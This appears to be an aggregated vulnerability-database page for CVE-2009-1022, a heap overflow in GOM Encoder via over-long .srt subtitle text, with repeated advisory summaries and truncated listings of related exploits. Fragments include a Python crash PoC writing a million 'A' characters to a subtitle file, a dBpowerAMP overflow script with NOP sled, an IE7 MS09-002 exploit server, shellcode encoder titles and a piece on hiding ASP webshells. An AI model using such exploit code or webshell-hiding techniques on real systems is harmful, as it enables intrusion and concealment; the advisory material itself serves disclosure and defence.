CVE-2009-1022

Heap-based buffer overflow in the Preview/ Set Segment function in Gretech GOMlab GOM Encoder 1.0.0.11 and earlier allows user-assisted remote attackers to cause a denial of service memory corruption and application crash or execute arbitrary code via a long text field in a subtitle .srt file...

Heap overflow

Heap-based buffer overflow in the Preview/ Set Segment function in Gretech GOMlab GOM Encoder 1.0.0.11 and earlier allows user-assisted remote attackers to cause a denial of service memory corruption and application crash or execute arbitrary code via a long text field in a subtitle .srt file...

CVE-2009-1022

Gretech GOMlab GOM Encoder 1.0.0.11 and earlier contains a heap-based buffer overflow in the Preview/Set Segment function. A long text field in a subtitle (.srt) file can be used by a user‑assisted attacker to cause memory corruption and a crash (DoS) or to execute arbitrary code. This vulnerabil...

CVE-2009-1022

Heap-based buffer overflow in the Preview/ Set Segment function in Gretech GOMlab GOM Encoder 1.0.0.11 and earlier allows user-assisted remote attackers to cause a denial of service memory corruption and application crash or execute arbitrary code via a long text field in a subtitle .srt file...

GOM Encoder .srt文件解析堆溢出漏洞

BUGTRAQ ID: 34120 GOM Encoder是一款功能强大的视频转换工具。 GOM Encoder在转换内嵌有字幕的视频时没有正确地处理srt格式的字幕文件。当程序处理Preview/Set Segment功能时，如果srt文件包含有超长的文本字段，就会触发堆溢出，导致拒绝服务或执行任意指令。 0 Gretech GOM Encoder Demo = 1.0.0.11 Gretech ------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： a href=http://www.gomplayer.com...

[Bkis-04-2009] GOM Encoder Heap-based Buffer Overflow

GOM Encoder Heap-based Buffer Overflow 1. General Information GOM Encoder is a video transcoder that can work with a lot of video formats. One of its functions is embedding subtitles to the video, which means you can see subtitles on the resulting video even if your device doesn't support subtitl...

Gretech GOM Encoder 1.0.0.11 (Subtitle File) Buffer Overflow PoC

No description provided by source. exploit.py Gom Encoder Subtitle File Buffer Overflow PoC by :Encrypt3d.M!nd Orignal Advisory: http://www.securityfocus.com/bid/34120 chars = 'A' 1000000 file = open 'devilinside.srt', 'w' file.write '1\n00:00:00,001 -- 00:00:06,000\n'+chars file.close...

GOM Encoder buffer overflow

Buffer overflow on .srt subtitles processing...

GOM Encoder 1.0.0.11 Buffer Overflow

exploit.py Gom Encoder Subtitle File Buffer Overflow PoC by :Encrypt3d.M!nd Orignal Advisory: http://www.securityfocus.com/bid/34120 chars = 'A' 1000000 file = open 'devilinside.srt', 'w' file.write '1\n00:00:00,001 -- 00:00:06,000\n'+chars file.close...

Gretech GOM Encoder 1.0.0.11 (Subtitle File) Buffer Overflow PoC

Exploit for unknown platform in category dos / poc ================================================================ Gretech GOM Encoder 1.0.0.11 Subtitle File Buffer Overflow PoC ================================================================ exploit.py Gom Encoder Subtitle File Buffer Overflow...

Gretech GOM Encoder 1.0.0.11 - .Subtitle Buffer Overflow (PoC)

Gretech GOM Encoder 1.0.0.11 - .Subtitle Buffer Overflow PoC exploit.py Gom Encoder Subtitle File Buffer Overflow PoC by :Encrypt3d.M!nd Orignal Advisory: https://www.securityfocus.com/bid/34120 chars = 'A' 1000000 file = open 'devilinside.srt', 'w' file.write '1\n00:00:00,001 --...

Gretech GOM Encoder 1.0.0.11 - '.Subtitle' Buffer Overflow (PoC)

exploit.py Gom Encoder Subtitle File Buffer Overflow PoC by :Encrypt3d.M!nd Orignal Advisory: https://www.securityfocus.com/bid/34120 chars = 'A' 1000000 file = open 'devilinside.srt', 'w' file.write '1\n00:00:00,001 -- 00:00:06,000\n'+chars file.close milw0rm.com 2009-03-16...

MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (fast)

No description provided by source. Author : Ahmed Obied [email protected] - Based on the code found by str0ke in the wild for MS09-002 - Tested using Internet Explorer 7.0.5730.11 on Windows XP SP2 Usage : python iems09002.py port import sys, socket from BaseHTTPServer import HTTPServer,...

ASP code encrypt hide webshell-vulnerability warning-the black bar safety net

In order to your webshell and more covert! The following will tell you how the ASP code encryption! First of all ASP code is generally plain text, very few encryption, MS have a tool Script Encoder can be encrypted, this stuff can be the official Microsoft site for free download, and there are...

Thomson mp3PRO Player/Encoder (M3U File) Crash PoC

Exploit for unknown platform in category dos / poc ================================================== Thomson mp3PRO Player/Encoder M3U File Crash PoC ================================================== !/usr/bin/perl Discovered & Written by : Hakxer Sec-geeks.com EgY Coders Team :D program :...

dBpowerAMP Audio Player 2 Buffer Overflow Exploit

dBpowerAMP Audio Player v2 .pls file LoCaL BufferOverFlow Exploit Exploited By AlpHaNiX From NullArea.Net Thanks Stack For The PoC system"cls" ; print "\n\n\n+ dBpowerAMP Audio Player v2 .pls file LoCaL BufferOverFlow Exploit" ; my $blah= "\x41" x 600; my $nop = "\x90" x 52 ; my $ret =...

Thomson mp3PRO PlayerEncoder - .m3u Crash (PoC)

Thomson mp3PRO PlayerEncoder - .m3u Crash PoC !/usr/bin/perl Discovered & Written by : Hakxer Sec-geeks.com EgY Coders Team :D program : Thomson mp3PRO Player/Encoder M3U File Crash PoC what happen .. : when you import hakxer.m3u file into program ....... Get Crashed :D Greetz : EgyptianxHacker ,...

Thomson mp3PRO Player/Encoder - '.m3u' Crash (PoC)

!/usr/bin/perl Discovered & Written by : Hakxer Sec-geeks.com EgY Coders Team :D program : Thomson mp3PRO Player/Encoder M3U File Crash PoC what happen .. : when you import hakxer.m3u file into program ....... Get Crashed :D Greetz : EgyptianxHacker , Providor , EgY Coders team , Bin@ry ,...

GOM Player 2.0.12 .ASX Stack Overflow Exploit

/------------------------------------------------ GOM Player 2.0.12 .ASX Stack Overflow Exploit ------------------------------------------------- Exploit Code by:DATASNIPER Greetz: Arabic and algeria hackerz,arab4services.net and AT4RE Teams. My blog:http://datasniper.arab4services.net...

Linux/x86 - execve() + ROT-7 Shellcode (Encoder/Decoder) (74 bytes)

Linux/x86 - execve + ROT-7 Shellcode Encoder/Decoder 74 bytes. Shellcode exploit for Linuxx86 platform / ROT-7 Decoder Shellcode - Linux Intel/x86 Author: Stavros Metzidakis / a Python ROT-7 encoder for shellcode execve-stack...